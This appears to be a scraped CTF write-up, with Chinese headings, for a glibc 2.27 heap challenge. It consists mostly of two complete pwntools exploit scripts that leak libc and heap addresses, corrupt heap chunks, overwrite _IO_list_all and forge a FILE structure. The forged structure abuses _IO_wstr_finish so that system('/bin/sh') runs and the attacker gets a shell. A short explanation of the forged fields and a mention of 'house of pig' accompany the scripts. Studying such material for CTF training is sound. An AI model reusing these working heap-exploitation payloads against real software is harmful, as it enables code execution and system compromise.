exp3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote('node4.buuoj.cn' ,26623 ) libc = ELF('./libc-2.27.so' ) def add (sz, ct ): r.sendlineafter('Five: Finished!' , str (1 )) r.sendlineafter('Number of words?' , str (sz)) r.sendafter('please input U character' , ct) def edit (idx, ct ): r.sendlineafter('Five: Finished!' , str (2 )) r.sendlineafter('please input the page U want 2 change' , str (idx)) r.sendafter('Now Change U this page : ' , ct) def delete (idx ): r.sendlineafter('Five: Finished!' , str (3 )) r.sendlineafter('please Input the page U want 2 tear off' , str (idx)) def show (idx ): r.sendlineafter('Five: Finished!' , str (4 )) r.sendlineafter('please Input The page U want 2 scan' , str (idx)) r.recv() r.sendline('ayoung' ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) delete(0 ) add(0x600 , '\x00' ) add(0x5f8 , 'A' *8 ) show(10 ) libc.address = u64(r.recvuntil('\x7f' )[-6 :]+'\x00\x00' )-1232 -0x10 -libc.sym['__malloc_hook' ] delete(10 ) add(0x600 , '\x00' ) add(0x5f8 , 'A' *0x10 ) show(12 ) r.recvuntil('A' *0x10 ) heap_base = u64(r.recv(6 )+'\x00\x00' )-0x1250 print hex (heap_base)print hex (libc.address)delete(12 ) edit(6 , 'B' *0x5f0 +p64(0x2a00 )) delete(7 ) add(0x4f8 , '\xa0' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\xa0' ) add(0x6f8 , '\x00' ) add(0x508 , '\x00' ) add(0x5f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x430 , '\x00' ) delete(11 ) edit(21 , 'A' *0x500 +p64(0xb20 )) delete(22 ) add(0x608 , '\x00' ) add(0x508 , '\x00' ) add(0x5f8 , '\x00' ) delete(15 ) add(0x700 , '\x00' ) delete(21 ) edit(2 , p64(libc.sym['__malloc_hook' ]+0x10 +1168 )*2 + \ p64(0 )+p64(libc.sym['_IO_list_all' ]-0x20 )+'\n' ) add(0x700 , '\x00' *0x700 ) binsh = heap_base+0x5558 pay = '' pay+= p64(0 )*3 pay+= p64(0x7fffffffffffffff ) pay+= p64(0 ) pay+= p64(0 ) pay+= p64((binsh)/2 -200 ) pay+= p64(0 )*6 pay+= p64(0 )*5 pay+= p64(heap_base+0x5478 ) pay+= p64(0 )*3 pay+= p64(0xffffffff ) pay+= p64(0 )*2 pay+= p64(libc.address+0x3e7b20 ) pay+= p64(libc.sym['system' ]) pay+= '/bin/sh\x00' edit(25 , '\x00' *0x608 ) edit(26 , pay+'\n' ) ''' _flags = 0 _flags2= 0 _IO_write_base= 0 _IO_write_ptr = 0x7fffffff _IO_buf_end = binsh_addr/2-200 _IO_buf_base = 0 mode = -1 fp+0xe0 = system ''' r.recv() r.sendline('5' ) r.interactive()
思路4 _IO_wstr_finish _IO_wstr_finish
1 2 3 4 5 6 7 8 9 void _IO_wstr_finish (_IO_FILE *fp, int dummy) { if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base); fp->_wide_data->_IO_buf_base = NULL ; _IO_wdefault_finish (fp, 0 ); }
利用处1 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
假设fp->_wide_data指向fp+0x81 2 3 4 5 6 7 8 9 _IO_buf_base>0 _flags2=0 fp->_s._free_buffer(fp+0xe8 ) = system _IO_buf_base = binsh mode = -1 _IO_write_ptr = 1 _IO_write_base = 0 vtable = _IO_wstr_jumps-8
exp4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import* context (os='linux' , arch='amd64' , log_level='debug' ) # r = remote('node4.buuoj.cn' ,28387) r = process(["./ld-2.27.so" , "./tmp" ], env={"LD_PRELOAD" :"./libc-2.27.so" }) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) libc = ELF('./libc-2.27.so' ) def add(sz, ct): r.sendlineafter('Five: Finished!' , str(1 )) r.sendlineafter('Number of words?' , str(sz)) r.sendafter('please input U character' , ct) def edit(idx, ct): r.sendlineafter('Five: Finished!' , str(2 )) r.sendlineafter('please input the page U want 2 change' , str(idx)) r.sendafter('Now Change U this page : ' , ct) def delete(idx): r.sendlineafter('Five: Finished!' , str(3 )) r.sendlineafter('please Input the page U want 2 tear off' , str(idx)) def show(idx): r.sendlineafter('Five: Finished!' , str(4 )) r.sendlineafter('please Input The page U want 2 scan' , str(idx)) r.recv() r.sendline('ayoung' ) add(0x5f8 , 'A' *0x5f8 ) #0 add(0x5f8 , 'A' *0x5f8 ) #1 add(0x5f8 , 'A' *0x5f8 ) #2 add(0x5f8 , 'A' *0x5f8 ) #3 add(0x5f8 , 'A' *0x5f8 ) #4 add(0x5f8 , 'A' *0x5f8 ) #5 add(0x5f8 , 'A' *0x5f8 ) #6 add(0x5f8 , 'A' *0x5f8 ) #7 add(0x5f8 , 'A' *0x5f8 ) #8 delete(0 ) add(0x600 , '\x00' ) #9 add(0x5f8 , 'A' *8 ) #10 show(10 ) libc.address = u64(r.recvuntil('\x7f' )[-6 :]+'\x00\x00' )-1232 -0x10 -libc.sym['__malloc_hook' ] delete(10 ) add(0x600 , '\x00' ) #11 add(0x5f8 , 'A' *0x10 ) #12 =0 show(12 ) r.recvuntil('A' *0x10 ) heap_base = u64(r.recv(6 )+'\x00\x00' )-0x1250 print hex(heap_base) print hex(libc.address) delete(12 ) edit(6 , 'B' *0x5f0 +p64(0x2a00 )) delete(7 ) add(0x4f8 , '\xa0' ) #13 add(0x6f8 , '\x00' ) #14 add(0x4f8 , '\x00' ) #15 add(0x6f8 , '\x00' ) #16 add(0x4f8 , '\x00' ) #17 add(0x6f8 , '\x00' ) #18 add(0x4f8 , '\xa0' ) #19 add(0x6f8 , '\x00' ) #20 add(0x508 , '\x00' ) #21 add(0x5f8 , '\x00' ) #22 add(0x4f8 , '\x00' ) #23 add(0x430 , '\x00' ) #24 delete(11 ) edit(21 , 'A' *0x500 +p64(0xb20 )) delete(22 ) add(0x608 , '\x00' ) #25 add(0x508 , '\x00' ) #26 add(0x5f8 , '\x00' ) #27 delete(15 ) #=2 add(0x700 , '\x00' ) #28 delete(21 ) edit(2 , p64(libc.sym['__malloc_hook' ]+0x10 +1168 )*2 + \ p64(0 )+p64(libc.sym['_IO_list_all' ]-0x20 )+'\n' ) add(0x700 , '\x00' *0x700 ) #29 pay = '' pay+= p64(0)*3 pay+= p64(1) pay+= p64(0) pay+= p64(libc.search(' /bin/sh' ).next())pay+= p64(0 ) pay+= p64(0 )*6 pay+= p64(0 )*5 pay+= p64(heap_base+0x5478 ) pay+= p64(0 )*3 pay+= p64(0xffffffff ) pay+= p64(0 )*2 pay+= p64(libc.address+0x3e7b20 -8 ) pay+= p64(0 ) pay+= p64(libc.sym['system' ]) edit(25 , '\x00' *0x608 ) edit(26 , pay+'\n' ) print (hex(heap_base)) ''' _IO_buf_base>0 _flags2=0 fp->_s._free_buffer(fp+0xe8 ) = system _IO_buf_base = binsh mode = -1 _IO_write_ptr = 1 _IO_write_base = 0 vtable = _IO_wstr_jumps-8 ''' r.recv() r.sendline('5' ) # list: 0x555555558080 # szie: 0x5555555583a0 r.interactive()
官方法 使用house of pig